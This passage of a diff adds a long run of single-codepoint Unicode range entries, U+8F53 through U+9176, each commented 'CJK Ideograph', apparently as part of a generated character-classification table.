+ [0x8f53, 0x8f53], /* CJK Ideograph */
+ [0x8f54, 0x8f54], /* CJK Ideograph */
+ [0x8f55, 0x8f55], /* CJK Ideograph */
+ [0x8f56, 0x8f56], /* CJK Ideograph */
+ [0x8f57, 0x8f57], /* CJK Ideograph */
+ [0x8f58, 0x8f58], /* CJK Ideograph */
+ [0x8f59, 0x8f59], /* CJK Ideograph */
+ [0x8f5a, 0x8f5a], /* CJK Ideograph */
+ [0x8f5b, 0x8f5b], /* CJK Ideograph */
+ [0x8f5c, 0x8f5c], /* CJK Ideograph */
+ [0x8f5d, 0x8f5d], /* CJK Ideograph */
+ [0x8f5e, 0x8f5e], /* CJK Ideograph */
+ [0x8f5f, 0x8f5f], /* CJK Ideograph */
+ [0x8f60, 0x8f60], /* CJK Ideograph */
+ [0x8f61, 0x8f61], /* CJK Ideograph */
+ [0x8f62, 0x8f62], /* CJK Ideograph */
+ [0x8f63, 0x8f63], /* CJK Ideograph */
+ [0x8f64, 0x8f64], /* CJK Ideograph */
+ [0x8f65, 0x8f65], /* CJK Ideograph */
+ [0x8f66, 0x8f66], /* CJK Ideograph */
+ [0x8f67, 0x8f67], /* CJK Ideograph */
+ [0x8f68, 0x8f68], /* CJK Ideograph */
+ [0x8f69, 0x8f69], /* CJK Ideograph */
+ [0x8f6a, 0x8f6a], /* CJK Ideograph */
+ [0x8f6b, 0x8f6b], /* CJK Ideograph */
+ [0x8f6c, 0x8f6c], /* CJK Ideograph */
+ [0x8f6d, 0x8f6d], /* CJK Ideograph */
+ [0x8f6e, 0x8f6e], /* CJK Ideograph */
+ [0x8f6f, 0x8f6f], /* CJK Ideograph */
+ [0x8f70, 0x8f70], /* CJK Ideograph */
+ [0x8f71, 0x8f71], /* CJK Ideograph */
+ [0x8f72, 0x8f72], /* CJK Ideograph */
+ [0x8f73, 0x8f73], /* CJK Ideograph */
+ [0x8f74, 0x8f74], /* CJK Ideograph */
+ [0x8f75, 0x8f75], /* CJK Ideograph */
+ [0x8f76, 0x8f76], /* CJK Ideograph */
+ [0x8f77, 0x8f77], /* CJK Ideograph */
+ [0x8f78, 0x8f78], /* CJK Ideograph */
+ [0x8f79, 0x8f79], /* CJK Ideograph */
+ [0x8f7a, 0x8f7a], /* CJK Ideograph */
+ [0x8f7b, 0x8f7b], /* CJK Ideograph */
+ [0x8f7c, 0x8f7c], /* CJK Ideograph */
+ [0x8f7d, 0x8f7d], /* CJK Ideograph */
+ [0x8f7e, 0x8f7e], /* CJK Ideograph */
+ [0x8f7f, 0x8f7f], /* CJK Ideograph */
+ [0x8f80, 0x8f80], /* CJK Ideograph */
+ [0x8f81, 0x8f81], /* CJK Ideograph */
+ [0x8f82, 0x8f82], /* CJK Ideograph */
+ [0x8f83, 0x8f83], /* CJK Ideograph */
+ [0x8f84, 0x8f84], /* CJK Ideograph */
+ [0x8f85, 0x8f85], /* CJK Ideograph */
+ [0x8f86, 0x8f86], /* CJK Ideograph */
+ [0x8f87, 0x8f87], /* CJK Ideograph */
+ [0x8f88, 0x8f88], /* CJK Ideograph */
+ [0x8f89, 0x8f89], /* CJK Ideograph */
+ [0x8f8a, 0x8f8a], /* CJK Ideograph */
+ [0x8f8b, 0x8f8b], /* CJK Ideograph */
+ [0x8f8c, 0x8f8c], /* CJK Ideograph */
+ [0x8f8d, 0x8f8d], /* CJK Ideograph */
+ [0x8f8e, 0x8f8e], /* CJK Ideograph */
+ [0x8f8f, 0x8f8f], /* CJK Ideograph */
+ [0x8f90, 0x8f90], /* CJK Ideograph */
+ [0x8f91, 0x8f91], /* CJK Ideograph */
+ [0x8f92, 0x8f92], /* CJK Ideograph */
+ [0x8f93, 0x8f93], /* CJK Ideograph */
+ [0x8f94, 0x8f94], /* CJK Ideograph */
+ [0x8f95, 0x8f95], /* CJK Ideograph */
+ [0x8f96, 0x8f96], /* CJK Ideograph */
+ [0x8f97, 0x8f97], /* CJK Ideograph */
+ [0x8f98, 0x8f98], /* CJK Ideograph */
+ [0x8f99, 0x8f99], /* CJK Ideograph */
+ [0x8f9a, 0x8f9a], /* CJK Ideograph */
+ [0x8f9b, 0x8f9b], /* CJK Ideograph */
+ [0x8f9c, 0x8f9c], /* CJK Ideograph */
+ [0x8f9d, 0x8f9d], /* CJK Ideograph */
+ [0x8f9e, 0x8f9e], /* CJK Ideograph */
+ [0x8f9f, 0x8f9f], /* CJK Ideograph */
+ [0x8fa0, 0x8fa0], /* CJK Ideograph */
+ [0x8fa1, 0x8fa1], /* CJK Ideograph */
+ [0x8fa2, 0x8fa2], /* CJK Ideograph */
+ [0x8fa3, 0x8fa3], /* CJK Ideograph */
+ [0x8fa4, 0x8fa4], /* CJK Ideograph */
+ [0x8fa5, 0x8fa5], /* CJK Ideograph */
+ [0x8fa6, 0x8fa6], /* CJK Ideograph */
+ [0x8fa7, 0x8fa7], /* CJK Ideograph */
+ [0x8fa8, 0x8fa8], /* CJK Ideograph */
+ [0x8fa9, 0x8fa9], /* CJK Ideograph */
+ [0x8faa, 0x8faa], /* CJK Ideograph */
+ [0x8fab, 0x8fab], /* CJK Ideograph */
+ [0x8fac, 0x8fac], /* CJK Ideograph */
+ [0x8fad, 0x8fad], /* CJK Ideograph */
+ [0x8fae, 0x8fae], /* CJK Ideograph */
+ [0x8faf, 0x8faf], /* CJK Ideograph */
+ [0x8fb0, 0x8fb0], /* CJK Ideograph */
+ [0x8fb1, 0x8fb1], /* CJK Ideograph */
+ [0x8fb2, 0x8fb2], /* CJK Ideograph */
+ [0x8fb3, 0x8fb3], /* CJK Ideograph */
+ [0x8fb4, 0x8fb4], /* CJK Ideograph */
+ [0x8fb5, 0x8fb5], /* CJK Ideograph */
+ [0x8fb6, 0x8fb6], /* CJK Ideograph */
+ [0x8fb7, 0x8fb7], /* CJK Ideograph */
+ [0x8fb8, 0x8fb8], /* CJK Ideograph */
+ [0x8fb9, 0x8fb9], /* CJK Ideograph */
+ [0x8fba, 0x8fba], /* CJK Ideograph */
+ [0x8fbb, 0x8fbb], /* CJK Ideograph */
+ [0x8fbc, 0x8fbc], /* CJK Ideograph */
+ [0x8fbd, 0x8fbd], /* CJK Ideograph */
+ [0x8fbe, 0x8fbe], /* CJK Ideograph */
+ [0x8fbf, 0x8fbf], /* CJK Ideograph */
+ [0x8fc0, 0x8fc0], /* CJK Ideograph */
+ [0x8fc1, 0x8fc1], /* CJK Ideograph */
+ [0x8fc2, 0x8fc2], /* CJK Ideograph */
+ [0x8fc3, 0x8fc3], /* CJK Ideograph */
+ [0x8fc4, 0x8fc4], /* CJK Ideograph */
+ [0x8fc5, 0x8fc5], /* CJK Ideograph */
+ [0x8fc6, 0x8fc6], /* CJK Ideograph */
+ [0x8fc7, 0x8fc7], /* CJK Ideograph */
+ [0x8fc8, 0x8fc8], /* CJK Ideograph */
+ [0x8fc9, 0x8fc9], /* CJK Ideograph */
+ [0x8fca, 0x8fca], /* CJK Ideograph */
+ [0x8fcb, 0x8fcb], /* CJK Ideograph */
+ [0x8fcc, 0x8fcc], /* CJK Ideograph */
+ [0x8fcd, 0x8fcd], /* CJK Ideograph */
+ [0x8fce, 0x8fce], /* CJK Ideograph */
+ [0x8fcf, 0x8fcf], /* CJK Ideograph */
+ [0x8fd0, 0x8fd0], /* CJK Ideograph */
+ [0x8fd1, 0x8fd1], /* CJK Ideograph */
+ [0x8fd2, 0x8fd2], /* CJK Ideograph */
+ [0x8fd3, 0x8fd3], /* CJK Ideograph */
+ [0x8fd4, 0x8fd4], /* CJK Ideograph */
+ [0x8fd5, 0x8fd5], /* CJK Ideograph */
+ [0x8fd6, 0x8fd6], /* CJK Ideograph */
+ [0x8fd7, 0x8fd7], /* CJK Ideograph */
+ [0x8fd8, 0x8fd8], /* CJK Ideograph */
+ [0x8fd9, 0x8fd9], /* CJK Ideograph */
+ [0x8fda, 0x8fda], /* CJK Ideograph */
+ [0x8fdb, 0x8fdb], /* CJK Ideograph */
+ [0x8fdc, 0x8fdc], /* CJK Ideograph */
+ [0x8fdd, 0x8fdd], /* CJK Ideograph */
+ [0x8fde, 0x8fde], /* CJK Ideograph */
+ [0x8fdf, 0x8fdf], /* CJK Ideograph */
+ [0x8fe0, 0x8fe0], /* CJK Ideograph */
+ [0x8fe1, 0x8fe1], /* CJK Ideograph */
+ [0x8fe2, 0x8fe2], /* CJK Ideograph */
+ [0x8fe3, 0x8fe3], /* CJK Ideograph */
+ [0x8fe4, 0x8fe4], /* CJK Ideograph */
+ [0x8fe5, 0x8fe5], /* CJK Ideograph */
+ [0x8fe6, 0x8fe6], /* CJK Ideograph */
+ [0x8fe7, 0x8fe7], /* CJK Ideograph */
+ [0x8fe8, 0x8fe8], /* CJK Ideograph */
+ [0x8fe9, 0x8fe9], /* CJK Ideograph */
+ [0x8fea, 0x8fea], /* CJK Ideograph */
+ [0x8feb, 0x8feb], /* CJK Ideograph */
+ [0x8fec, 0x8fec], /* CJK Ideograph */
+ [0x8fed, 0x8fed], /* CJK Ideograph */
+ [0x8fee, 0x8fee], /* CJK Ideograph */
+ [0x8fef, 0x8fef], /* CJK Ideograph */
+ [0x8ff0, 0x8ff0], /* CJK Ideograph */
+ [0x8ff1, 0x8ff1], /* CJK Ideograph */
+ [0x8ff2, 0x8ff2], /* CJK Ideograph */
+ [0x8ff3, 0x8ff3], /* CJK Ideograph */
+ [0x8ff4, 0x8ff4], /* CJK Ideograph */
+ [0x8ff5, 0x8ff5], /* CJK Ideograph */
+ [0x8ff6, 0x8ff6], /* CJK Ideograph */
+ [0x8ff7, 0x8ff7], /* CJK Ideograph */
+ [0x8ff8, 0x8ff8], /* CJK Ideograph */
+ [0x8ff9, 0x8ff9], /* CJK Ideograph */
+ [0x8ffa, 0x8ffa], /* CJK Ideograph */
+ [0x8ffb, 0x8ffb], /* CJK Ideograph */
+ [0x8ffc, 0x8ffc], /* CJK Ideograph */
+ [0x8ffd, 0x8ffd], /* CJK Ideograph */
+ [0x8ffe, 0x8ffe], /* CJK Ideograph */
+ [0x8fff, 0x8fff], /* CJK Ideograph */
+ [0x9000, 0x9000], /* CJK Ideograph */
+ [0x9001, 0x9001], /* CJK Ideograph */
+ [0x9002, 0x9002], /* CJK Ideograph */
+ [0x9003, 0x9003], /* CJK Ideograph */
+ [0x9004, 0x9004], /* CJK Ideograph */
+ [0x9005, 0x9005], /* CJK Ideograph */
+ [0x9006, 0x9006], /* CJK Ideograph */
+ [0x9007, 0x9007], /* CJK Ideograph */
+ [0x9008, 0x9008], /* CJK Ideograph */
+ [0x9009, 0x9009], /* CJK Ideograph */
+ [0x900a, 0x900a], /* CJK Ideograph */
+ [0x900b, 0x900b], /* CJK Ideograph */
+ [0x900c, 0x900c], /* CJK Ideograph */
+ [0x900d, 0x900d], /* CJK Ideograph */
+ [0x900e, 0x900e], /* CJK Ideograph */
+ [0x900f, 0x900f], /* CJK Ideograph */
+ [0x9010, 0x9010], /* CJK Ideograph */
+ [0x9011, 0x9011], /* CJK Ideograph */
+ [0x9012, 0x9012], /* CJK Ideograph */
+ [0x9013, 0x9013], /* CJK Ideograph */
+ [0x9014, 0x9014], /* CJK Ideograph */
+ [0x9015, 0x9015], /* CJK Ideograph */
+ [0x9016, 0x9016], /* CJK Ideograph */
+ [0x9017, 0x9017], /* CJK Ideograph */
+ [0x9018, 0x9018], /* CJK Ideograph */
+ [0x9019, 0x9019], /* CJK Ideograph */
+ [0x901a, 0x901a], /* CJK Ideograph */
+ [0x901b, 0x901b], /* CJK Ideograph */
+ [0x901c, 0x901c], /* CJK Ideograph */
+ [0x901d, 0x901d], /* CJK Ideograph */
+ [0x901e, 0x901e], /* CJK Ideograph */
+ [0x901f, 0x901f], /* CJK Ideograph */
+ [0x9020, 0x9020], /* CJK Ideograph */
+ [0x9021, 0x9021], /* CJK Ideograph */
+ [0x9022, 0x9022], /* CJK Ideograph */
+ [0x9023, 0x9023], /* CJK Ideograph */
+ [0x9024, 0x9024], /* CJK Ideograph */
+ [0x9025, 0x9025], /* CJK Ideograph */
+ [0x9026, 0x9026], /* CJK Ideograph */
+ [0x9027, 0x9027], /* CJK Ideograph */
+ [0x9028, 0x9028], /* CJK Ideograph */
+ [0x9029, 0x9029], /* CJK Ideograph */
+ [0x902a, 0x902a], /* CJK Ideograph */
+ [0x902b, 0x902b], /* CJK Ideograph */
+ [0x902c, 0x902c], /* CJK Ideograph */
+ [0x902d, 0x902d], /* CJK Ideograph */
+ [0x902e, 0x902e], /* CJK Ideograph */
+ [0x902f, 0x902f], /* CJK Ideograph */
+ [0x9030, 0x9030], /* CJK Ideograph */
+ [0x9031, 0x9031], /* CJK Ideograph */
+ [0x9032, 0x9032], /* CJK Ideograph */
+ [0x9033, 0x9033], /* CJK Ideograph */
+ [0x9034, 0x9034], /* CJK Ideograph */
+ [0x9035, 0x9035], /* CJK Ideograph */
+ [0x9036, 0x9036], /* CJK Ideograph */
+ [0x9037, 0x9037], /* CJK Ideograph */
+ [0x9038, 0x9038], /* CJK Ideograph */
+ [0x9039, 0x9039], /* CJK Ideograph */
+ [0x903a, 0x903a], /* CJK Ideograph */
+ [0x903b, 0x903b], /* CJK Ideograph */
+ [0x903c, 0x903c], /* CJK Ideograph */
+ [0x903d, 0x903d], /* CJK Ideograph */
+ [0x903e, 0x903e], /* CJK Ideograph */
+ [0x903f, 0x903f], /* CJK Ideograph */
+ [0x9040, 0x9040], /* CJK Ideograph */
+ [0x9041, 0x9041], /* CJK Ideograph */
+ [0x9042, 0x9042], /* CJK Ideograph */
+ [0x9043, 0x9043], /* CJK Ideograph */
+ [0x9044, 0x9044], /* CJK Ideograph */
+ [0x9045, 0x9045], /* CJK Ideograph */
+ [0x9046, 0x9046], /* CJK Ideograph */
+ [0x9047, 0x9047], /* CJK Ideograph */
+ [0x9048, 0x9048], /* CJK Ideograph */
+ [0x9049, 0x9049], /* CJK Ideograph */
+ [0x904a, 0x904a], /* CJK Ideograph */
+ [0x904b, 0x904b], /* CJK Ideograph */
+ [0x904c, 0x904c], /* CJK Ideograph */
+ [0x904d, 0x904d], /* CJK Ideograph */
+ [0x904e, 0x904e], /* CJK Ideograph */
+ [0x904f, 0x904f], /* CJK Ideograph */
+ [0x9050, 0x9050], /* CJK Ideograph */
+ [0x9051, 0x9051], /* CJK Ideograph */
+ [0x9052, 0x9052], /* CJK Ideograph */
+ [0x9053, 0x9053], /* CJK Ideograph */
+ [0x9054, 0x9054], /* CJK Ideograph */
+ [0x9055, 0x9055], /* CJK Ideograph */
+ [0x9056, 0x9056], /* CJK Ideograph */
+ [0x9057, 0x9057], /* CJK Ideograph */
+ [0x9058, 0x9058], /* CJK Ideograph */
+ [0x9059, 0x9059], /* CJK Ideograph */
+ [0x905a, 0x905a], /* CJK Ideograph */
+ [0x905b, 0x905b], /* CJK Ideograph */
+ [0x905c, 0x905c], /* CJK Ideograph */
+ [0x905d, 0x905d], /* CJK Ideograph */
+ [0x905e, 0x905e], /* CJK Ideograph */
+ [0x905f, 0x905f], /* CJK Ideograph */
+ [0x9060, 0x9060], /* CJK Ideograph */
+ [0x9061, 0x9061], /* CJK Ideograph */
+ [0x9062, 0x9062], /* CJK Ideograph */
+ [0x9063, 0x9063], /* CJK Ideograph */
+ [0x9064, 0x9064], /* CJK Ideograph */
+ [0x9065, 0x9065], /* CJK Ideograph */
+ [0x9066, 0x9066], /* CJK Ideograph */
+ [0x9067, 0x9067], /* CJK Ideograph */
+ [0x9068, 0x9068], /* CJK Ideograph */
+ [0x9069, 0x9069], /* CJK Ideograph */
+ [0x906a, 0x906a], /* CJK Ideograph */
+ [0x906b, 0x906b], /* CJK Ideograph */
+ [0x906c, 0x906c], /* CJK Ideograph */
+ [0x906d, 0x906d], /* CJK Ideograph */
+ [0x906e, 0x906e], /* CJK Ideograph */
+ [0x906f, 0x906f], /* CJK Ideograph */
+ [0x9070, 0x9070], /* CJK Ideograph */
+ [0x9071, 0x9071], /* CJK Ideograph */
+ [0x9072, 0x9072], /* CJK Ideograph */
+ [0x9073, 0x9073], /* CJK Ideograph */
+ [0x9074, 0x9074], /* CJK Ideograph */
+ [0x9075, 0x9075], /* CJK Ideograph */
+ [0x9076, 0x9076], /* CJK Ideograph */
+ [0x9077, 0x9077], /* CJK Ideograph */
+ [0x9078, 0x9078], /* CJK Ideograph */
+ [0x9079, 0x9079], /* CJK Ideograph */
+ [0x907a, 0x907a], /* CJK Ideograph */
+ [0x907b, 0x907b], /* CJK Ideograph */
+ [0x907c, 0x907c], /* CJK Ideograph */
+ [0x907d, 0x907d], /* CJK Ideograph */
+ [0x907e, 0x907e], /* CJK Ideograph */
+ [0x907f, 0x907f], /* CJK Ideograph */
+ [0x9080, 0x9080], /* CJK Ideograph */
+ [0x9081, 0x9081], /* CJK Ideograph */
+ [0x9082, 0x9082], /* CJK Ideograph */
+ [0x9083, 0x9083], /* CJK Ideograph */
+ [0x9084, 0x9084], /* CJK Ideograph */
+ [0x9085, 0x9085], /* CJK Ideograph */
+ [0x9086, 0x9086], /* CJK Ideograph */
+ [0x9087, 0x9087], /* CJK Ideograph */
+ [0x9088, 0x9088], /* CJK Ideograph */
+ [0x9089, 0x9089], /* CJK Ideograph */
+ [0x908a, 0x908a], /* CJK Ideograph */
+ [0x908b, 0x908b], /* CJK Ideograph */
+ [0x908c, 0x908c], /* CJK Ideograph */
+ [0x908d, 0x908d], /* CJK Ideograph */
+ [0x908e, 0x908e], /* CJK Ideograph */
+ [0x908f, 0x908f], /* CJK Ideograph */
+ [0x9090, 0x9090], /* CJK Ideograph */
+ [0x9091, 0x9091], /* CJK Ideograph */
+ [0x9092, 0x9092], /* CJK Ideograph */
+ [0x9093, 0x9093], /* CJK Ideograph */
+ [0x9094, 0x9094], /* CJK Ideograph */
+ [0x9095, 0x9095], /* CJK Ideograph */
+ [0x9096, 0x9096], /* CJK Ideograph */
+ [0x9097, 0x9097], /* CJK Ideograph */
+ [0x9098, 0x9098], /* CJK Ideograph */
+ [0x9099, 0x9099], /* CJK Ideograph */
+ [0x909a, 0x909a], /* CJK Ideograph */
+ [0x909b, 0x909b], /* CJK Ideograph */
+ [0x909c, 0x909c], /* CJK Ideograph */
+ [0x909d, 0x909d], /* CJK Ideograph */
+ [0x909e, 0x909e], /* CJK Ideograph */
+ [0x909f, 0x909f], /* CJK Ideograph */
+ [0x90a0, 0x90a0], /* CJK Ideograph */
+ [0x90a1, 0x90a1], /* CJK Ideograph */
+ [0x90a2, 0x90a2], /* CJK Ideograph */
+ [0x90a3, 0x90a3], /* CJK Ideograph */
+ [0x90a4, 0x90a4], /* CJK Ideograph */
+ [0x90a5, 0x90a5], /* CJK Ideograph */
+ [0x90a6, 0x90a6], /* CJK Ideograph */
+ [0x90a7, 0x90a7], /* CJK Ideograph */
+ [0x90a8, 0x90a8], /* CJK Ideograph */
+ [0x90a9, 0x90a9], /* CJK Ideograph */
+ [0x90aa, 0x90aa], /* CJK Ideograph */
+ [0x90ab, 0x90ab], /* CJK Ideograph */
+ [0x90ac, 0x90ac], /* CJK Ideograph */
+ [0x90ad, 0x90ad], /* CJK Ideograph */
+ [0x90ae, 0x90ae], /* CJK Ideograph */
+ [0x90af, 0x90af], /* CJK Ideograph */
+ [0x90b0, 0x90b0], /* CJK Ideograph */
+ [0x90b1, 0x90b1], /* CJK Ideograph */
+ [0x90b2, 0x90b2], /* CJK Ideograph */
+ [0x90b3, 0x90b3], /* CJK Ideograph */
+ [0x90b4, 0x90b4], /* CJK Ideograph */
+ [0x90b5, 0x90b5], /* CJK Ideograph */
+ [0x90b6, 0x90b6], /* CJK Ideograph */
+ [0x90b7, 0x90b7], /* CJK Ideograph */
+ [0x90b8, 0x90b8], /* CJK Ideograph */
+ [0x90b9, 0x90b9], /* CJK Ideograph */
+ [0x90ba, 0x90ba], /* CJK Ideograph */
+ [0x90bb, 0x90bb], /* CJK Ideograph */
+ [0x90bc, 0x90bc], /* CJK Ideograph */
+ [0x90bd, 0x90bd], /* CJK Ideograph */
+ [0x90be, 0x90be], /* CJK Ideograph */
+ [0x90bf, 0x90bf], /* CJK Ideograph */
+ [0x90c0, 0x90c0], /* CJK Ideograph */
+ [0x90c1, 0x90c1], /* CJK Ideograph */
+ [0x90c2, 0x90c2], /* CJK Ideograph */
+ [0x90c3, 0x90c3], /* CJK Ideograph */
+ [0x90c4, 0x90c4], /* CJK Ideograph */
+ [0x90c5, 0x90c5], /* CJK Ideograph */
+ [0x90c6, 0x90c6], /* CJK Ideograph */
+ [0x90c7, 0x90c7], /* CJK Ideograph */
+ [0x90c8, 0x90c8], /* CJK Ideograph */
+ [0x90c9, 0x90c9], /* CJK Ideograph */
+ [0x90ca, 0x90ca], /* CJK Ideograph */
+ [0x90cb, 0x90cb], /* CJK Ideograph */
+ [0x90cc, 0x90cc], /* CJK Ideograph */
+ [0x90cd, 0x90cd], /* CJK Ideograph */
+ [0x90ce, 0x90ce], /* CJK Ideograph */
+ [0x90cf, 0x90cf], /* CJK Ideograph */
+ [0x90d0, 0x90d0], /* CJK Ideograph */
+ [0x90d1, 0x90d1], /* CJK Ideograph */
+ [0x90d2, 0x90d2], /* CJK Ideograph */
+ [0x90d3, 0x90d3], /* CJK Ideograph */
+ [0x90d4, 0x90d4], /* CJK Ideograph */
+ [0x90d5, 0x90d5], /* CJK Ideograph */
+ [0x90d6, 0x90d6], /* CJK Ideograph */
+ [0x90d7, 0x90d7], /* CJK Ideograph */
+ [0x90d8, 0x90d8], /* CJK Ideograph */
+ [0x90d9, 0x90d9], /* CJK Ideograph */
+ [0x90da, 0x90da], /* CJK Ideograph */
+ [0x90db, 0x90db], /* CJK Ideograph */
+ [0x90dc, 0x90dc], /* CJK Ideograph */
+ [0x90dd, 0x90dd], /* CJK Ideograph */
+ [0x90de, 0x90de], /* CJK Ideograph */
+ [0x90df, 0x90df], /* CJK Ideograph */
+ [0x90e0, 0x90e0], /* CJK Ideograph */
+ [0x90e1, 0x90e1], /* CJK Ideograph */
+ [0x90e2, 0x90e2], /* CJK Ideograph */
+ [0x90e3, 0x90e3], /* CJK Ideograph */
+ [0x90e4, 0x90e4], /* CJK Ideograph */
+ [0x90e5, 0x90e5], /* CJK Ideograph */
+ [0x90e6, 0x90e6], /* CJK Ideograph */
+ [0x90e7, 0x90e7], /* CJK Ideograph */
+ [0x90e8, 0x90e8], /* CJK Ideograph */
+ [0x90e9, 0x90e9], /* CJK Ideograph */
+ [0x90ea, 0x90ea], /* CJK Ideograph */
+ [0x90eb, 0x90eb], /* CJK Ideograph */
+ [0x90ec, 0x90ec], /* CJK Ideograph */
+ [0x90ed, 0x90ed], /* CJK Ideograph */
+ [0x90ee, 0x90ee], /* CJK Ideograph */
+ [0x90ef, 0x90ef], /* CJK Ideograph */
+ [0x90f0, 0x90f0], /* CJK Ideograph */
+ [0x90f1, 0x90f1], /* CJK Ideograph */
+ [0x90f2, 0x90f2], /* CJK Ideograph */
+ [0x90f3, 0x90f3], /* CJK Ideograph */
+ [0x90f4, 0x90f4], /* CJK Ideograph */
+ [0x90f5, 0x90f5], /* CJK Ideograph */
+ [0x90f6, 0x90f6], /* CJK Ideograph */
+ [0x90f7, 0x90f7], /* CJK Ideograph */
+ [0x90f8, 0x90f8], /* CJK Ideograph */
+ [0x90f9, 0x90f9], /* CJK Ideograph */
+ [0x90fa, 0x90fa], /* CJK Ideograph */
+ [0x90fb, 0x90fb], /* CJK Ideograph */
+ [0x90fc, 0x90fc], /* CJK Ideograph */
+ [0x90fd, 0x90fd], /* CJK Ideograph */
+ [0x90fe, 0x90fe], /* CJK Ideograph */
+ [0x90ff, 0x90ff], /* CJK Ideograph */
+ [0x9100, 0x9100], /* CJK Ideograph */
+ [0x9101, 0x9101], /* CJK Ideograph */
+ [0x9102, 0x9102], /* CJK Ideograph */
+ [0x9103, 0x9103], /* CJK Ideograph */
+ [0x9104, 0x9104], /* CJK Ideograph */
+ [0x9105, 0x9105], /* CJK Ideograph */
+ [0x9106, 0x9106], /* CJK Ideograph */
+ [0x9107, 0x9107], /* CJK Ideograph */
+ [0x9108, 0x9108], /* CJK Ideograph */
+ [0x9109, 0x9109], /* CJK Ideograph */
+ [0x910a, 0x910a], /* CJK Ideograph */
+ [0x910b, 0x910b], /* CJK Ideograph */
+ [0x910c, 0x910c], /* CJK Ideograph */
+ [0x910d, 0x910d], /* CJK Ideograph */
+ [0x910e, 0x910e], /* CJK Ideograph */
+ [0x910f, 0x910f], /* CJK Ideograph */
+ [0x9110, 0x9110], /* CJK Ideograph */
+ [0x9111, 0x9111], /* CJK Ideograph */
+ [0x9112, 0x9112], /* CJK Ideograph */
+ [0x9113, 0x9113], /* CJK Ideograph */
+ [0x9114, 0x9114], /* CJK Ideograph */
+ [0x9115, 0x9115], /* CJK Ideograph */
+ [0x9116, 0x9116], /* CJK Ideograph */
+ [0x9117, 0x9117], /* CJK Ideograph */
+ [0x9118, 0x9118], /* CJK Ideograph */
+ [0x9119, 0x9119], /* CJK Ideograph */
+ [0x911a, 0x911a], /* CJK Ideograph */
+ [0x911b, 0x911b], /* CJK Ideograph */
+ [0x911c, 0x911c], /* CJK Ideograph */
+ [0x911d, 0x911d], /* CJK Ideograph */
+ [0x911e, 0x911e], /* CJK Ideograph */
+ [0x911f, 0x911f], /* CJK Ideograph */
+ [0x9120, 0x9120], /* CJK Ideograph */
+ [0x9121, 0x9121], /* CJK Ideograph */
+ [0x9122, 0x9122], /* CJK Ideograph */
+ [0x9123, 0x9123], /* CJK Ideograph */
+ [0x9124, 0x9124], /* CJK Ideograph */
+ [0x9125, 0x9125], /* CJK Ideograph */
+ [0x9126, 0x9126], /* CJK Ideograph */
+ [0x9127, 0x9127], /* CJK Ideograph */
+ [0x9128, 0x9128], /* CJK Ideograph */
+ [0x9129, 0x9129], /* CJK Ideograph */
+ [0x912a, 0x912a], /* CJK Ideograph */
+ [0x912b, 0x912b], /* CJK Ideograph */
+ [0x912c, 0x912c], /* CJK Ideograph */
+ [0x912d, 0x912d], /* CJK Ideograph */
+ [0x912e, 0x912e], /* CJK Ideograph */
+ [0x912f, 0x912f], /* CJK Ideograph */
+ [0x9130, 0x9130], /* CJK Ideograph */
+ [0x9131, 0x9131], /* CJK Ideograph */
+ [0x9132, 0x9132], /* CJK Ideograph */
+ [0x9133, 0x9133], /* CJK Ideograph */
+ [0x9134, 0x9134], /* CJK Ideograph */
+ [0x9135, 0x9135], /* CJK Ideograph */
+ [0x9136, 0x9136], /* CJK Ideograph */
+ [0x9137, 0x9137], /* CJK Ideograph */
+ [0x9138, 0x9138], /* CJK Ideograph */
+ [0x9139, 0x9139], /* CJK Ideograph */
+ [0x913a, 0x913a], /* CJK Ideograph */
+ [0x913b, 0x913b], /* CJK Ideograph */
+ [0x913c, 0x913c], /* CJK Ideograph */
+ [0x913d, 0x913d], /* CJK Ideograph */
+ [0x913e, 0x913e], /* CJK Ideograph */
+ [0x913f, 0x913f], /* CJK Ideograph */
+ [0x9140, 0x9140], /* CJK Ideograph */
+ [0x9141, 0x9141], /* CJK Ideograph */
+ [0x9142, 0x9142], /* CJK Ideograph */
+ [0x9143, 0x9143], /* CJK Ideograph */
+ [0x9144, 0x9144], /* CJK Ideograph */
+ [0x9145, 0x9145], /* CJK Ideograph */
+ [0x9146, 0x9146], /* CJK Ideograph */
+ [0x9147, 0x9147], /* CJK Ideograph */
+ [0x9148, 0x9148], /* CJK Ideograph */
+ [0x9149, 0x9149], /* CJK Ideograph */
+ [0x914a, 0x914a], /* CJK Ideograph */
+ [0x914b, 0x914b], /* CJK Ideograph */
+ [0x914c, 0x914c], /* CJK Ideograph */
+ [0x914d, 0x914d], /* CJK Ideograph */
+ [0x914e, 0x914e], /* CJK Ideograph */
+ [0x914f, 0x914f], /* CJK Ideograph */
+ [0x9150, 0x9150], /* CJK Ideograph */
+ [0x9151, 0x9151], /* CJK Ideograph */
+ [0x9152, 0x9152], /* CJK Ideograph */
+ [0x9153, 0x9153], /* CJK Ideograph */
+ [0x9154, 0x9154], /* CJK Ideograph */
+ [0x9155, 0x9155], /* CJK Ideograph */
+ [0x9156, 0x9156], /* CJK Ideograph */
+ [0x9157, 0x9157], /* CJK Ideograph */
+ [0x9158, 0x9158], /* CJK Ideograph */
+ [0x9159, 0x9159], /* CJK Ideograph */
+ [0x915a, 0x915a], /* CJK Ideograph */
+ [0x915b, 0x915b], /* CJK Ideograph */
+ [0x915c, 0x915c], /* CJK Ideograph */
+ [0x915d, 0x915d], /* CJK Ideograph */
+ [0x915e, 0x915e], /* CJK Ideograph */
+ [0x915f, 0x915f], /* CJK Ideograph */
+ [0x9160, 0x9160], /* CJK Ideograph */
+ [0x9161, 0x9161], /* CJK Ideograph */
+ [0x9162, 0x9162], /* CJK Ideograph */
+ [0x9163, 0x9163], /* CJK Ideograph */
+ [0x9164, 0x9164], /* CJK Ideograph */
+ [0x9165, 0x9165], /* CJK Ideograph */
+ [0x9166, 0x9166], /* CJK Ideograph */
+ [0x9167, 0x9167], /* CJK Ideograph */
+ [0x9168, 0x9168], /* CJK Ideograph */
+ [0x9169, 0x9169], /* CJK Ideograph */
+ [0x916a, 0x916a], /* CJK Ideograph */
+ [0x916b, 0x916b], /* CJK Ideograph */
+ [0x916c, 0x916c], /* CJK Ideograph */
+ [0x916d, 0x916d], /* CJK Ideograph */
+ [0x916e, 0x916e], /* CJK Ideograph */
+ [0x916f, 0x916f], /* CJK Ideograph */
+ [0x9170, 0x9170], /* CJK Ideograph */
+ [0x9171, 0x9171], /* CJK Ideograph */
+ [0x9172, 0x9172], /* CJK Ideograph */
+ [0x9173, 0x9173], /* CJK Ideograph */
+ [0x9174, 0x9174], /* CJK Ideograph */
+ [0x9175, 0x9175], /* CJK Ideograph */
+ [0x9176, 0x9176], /* CJK Ideograph */
